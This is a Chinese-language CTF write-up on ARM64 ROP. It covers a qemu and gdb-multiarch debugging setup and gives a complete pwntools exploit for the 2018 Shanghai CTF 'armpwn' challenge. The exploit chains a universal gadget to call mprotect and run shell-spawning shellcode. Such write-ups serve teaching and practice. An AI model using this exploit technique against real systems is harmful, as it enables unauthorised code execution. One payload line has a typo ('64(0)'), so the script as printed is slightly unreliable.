ARM64下ROP,以及调试技巧总结:

环境搭建:
aarch64依赖库:
apt-get install libc6-arm64-cross

动态需要指定动态库加载路径:
qemu-aarch64-static -L /usr/aarch64-linux-gnu ./arm

安装:gdb-multiarch
sudo apt-get install git gdb-multiarch

调试时,需要启动gdb-multiarch
gdb-multiarch

配置框架:
set architecture aarch64

连接远程端口:
target remote localhost:1234

方笔方便和pwndbg或者peda兼容,需要降低gdb版本:
sudo apt-get remove gdb

各版本gdb:
http://ftp.gnu.org/gnu/gdb/

linux 下安装lantern:
deb文件安装好后,需要安装包:
apt-get install gir1.2-appindicator3-0.1

pwntools 的 asm功能报错的情况–针对arm:
解决方法:
git clone https://github.com/Gallopsled/pwntools-binutils
cd pwntools-binutils
cd ubuntu
sudo ./install_all.sh arm
sudo ./install.sh arm
需要Binutils库支持的框架才行。

调试过程当中,下断点:
具体调试时,刚刚用gdb来target的时候,是先劫持到加载器,我们的要程序还没加载进去。
没开pie可以先下断点,等待劫持即可。
这里出现一个问题:checksec的时候pie为0x400000
先利用:cyclic 200 产生字符串,造成溢出来捕获程序的位置,确定真实的基地址,这个方法会导致确定错误的基址。
cyclic 200确定的基址是:0x410000,这是错误的,真正的基址还是0x400000。
确定基址我们就可以把断点下到任意位置了。
如图:
ARM64下ROP,以及调试技巧总结:_第1张图片
真实的基址(错误的),注意看各个区段的属性:
ARM64下ROP,以及调试技巧总结:_第2张图片
经过调试,程序加载的基址并不是0x410000,好像是产生异常后,将0x400000的数据拷贝到0x410000的
程序的真正基址还是0x400000,如图:
ARM64下ROP,以及调试技巧总结:_第3张图片

列题:
2018上海 ctf 的armpwn。
exp是参考别人的:
调试exp时,先下断点,再调试。

# -*- coding: utf-8 -*-
from pwn import *
import sys
import time
context.binary = "./arm"
binary = './arm'

if sys.argv[1] == "r":
    p = remote("106.75.126.171",33865)
elif sys.argv[1] == "l":
    p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu/", binary])
else:
    p = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu/", binary])

elf = ELF("./arm")



buf = asm(shellcraft.aarch64.sh())

buf = buf.ljust(0x100,'\x00')
buf += p64(0x400600)  # mportect 的plt

p.recvuntil('Name:')
p.send(buf.ljust(512,'\x00'))



payload = 'a'*72 + p64(0x4008CC)

payload +=p64(0) + p64(0x4008AC)        # x29 x30
payload +=64(0) + p64(1)                # x19 x20
payload +=p64(0x411168) + p64(5)        # x21 x22
payload += p64(0x1000) + p64(0x411000)  # x23 x24
# x21 x19 控制x3 最后B.NE x3   控制x3指向 mprotect的plt地址,x3为bss上我们事先填好的mportect的plt
# x24 -> x0  x23-> x1  x22-> x2
payload +=p64(0) + p64(0x411068)
# 执行完mprotect 之后会将栈上的数据弹到x29 x30 ,然后ret 我们填充x30,ret到shellcode
#  LDP             X29, X30, [SP],#0x10
p.send(payload)
p.interactive()

arm下的ROP技巧总结:
1.确定多少长度发生栈溢出?cyclic 0x200 可以
2.寻找合适的gadget
3.shellcode的编写,或者是调用system函数。

这里讲一下,前面使用到的万能gadget:

.text:00000000004008AC                 LDR             X3, [X21,X19,LSL#3]
.text:00000000004008B0                 MOV             X2, X22
.text:00000000004008B4                 MOV             X1, X23
.text:00000000004008B8                 MOV             W0, W24
.text:00000000004008BC                 ADD             X19, X19, #1
.text:00000000004008C0                 BLR             X3
.text:00000000004008C4                 CMP             X19, X20
.text:00000000004008C8                 B.NE            loc_4008AC
.text:00000000004008CC loc_4008CC                              ; CODE XREF: sub_400868+3C↑j
.text:00000000004008CC                 LDP             X19, X20, [SP,#var_s10] 
.text:00000000004008D0                 LDP             X21, X22, [SP,#var_s20]
.text:00000000004008D4                 LDP             X23, X24, [SP,#var_s30]
.text:00000000004008D8                 LDP             X29, X30, [SP+var_s0],#0x40
.text:00000000004008DC                 RET

第一步ret到4008cc,就会将栈内的数据传到x19 x20 x21 x22 x24 x24 x29 x30这八个寄存器里,
第二步 我们控制x30为0x4008AC,之后又会ret到0x4008ac处执行,
我们还要控制,[X21+X19<<3]内存处的内容赋值给X3, X22赋值给X2,X23赋值给X1,X24赋值给X0,然后跳到X3执行,(x21,x19控制x3),就是参数和返还地址的控制,
注意还要控制x19和x20实现cmp 不等于跳转x3.
第三步就是控制x3为mprotect的plt的地址,mprotect执行完之后会执行: LDP X29, X30, [SP],#0x10指令
最后再控制x30为shellcode的地址,就会去执行shellcode了。

你可能感兴趣的:(ARM64下ROP,以及调试技巧总结:)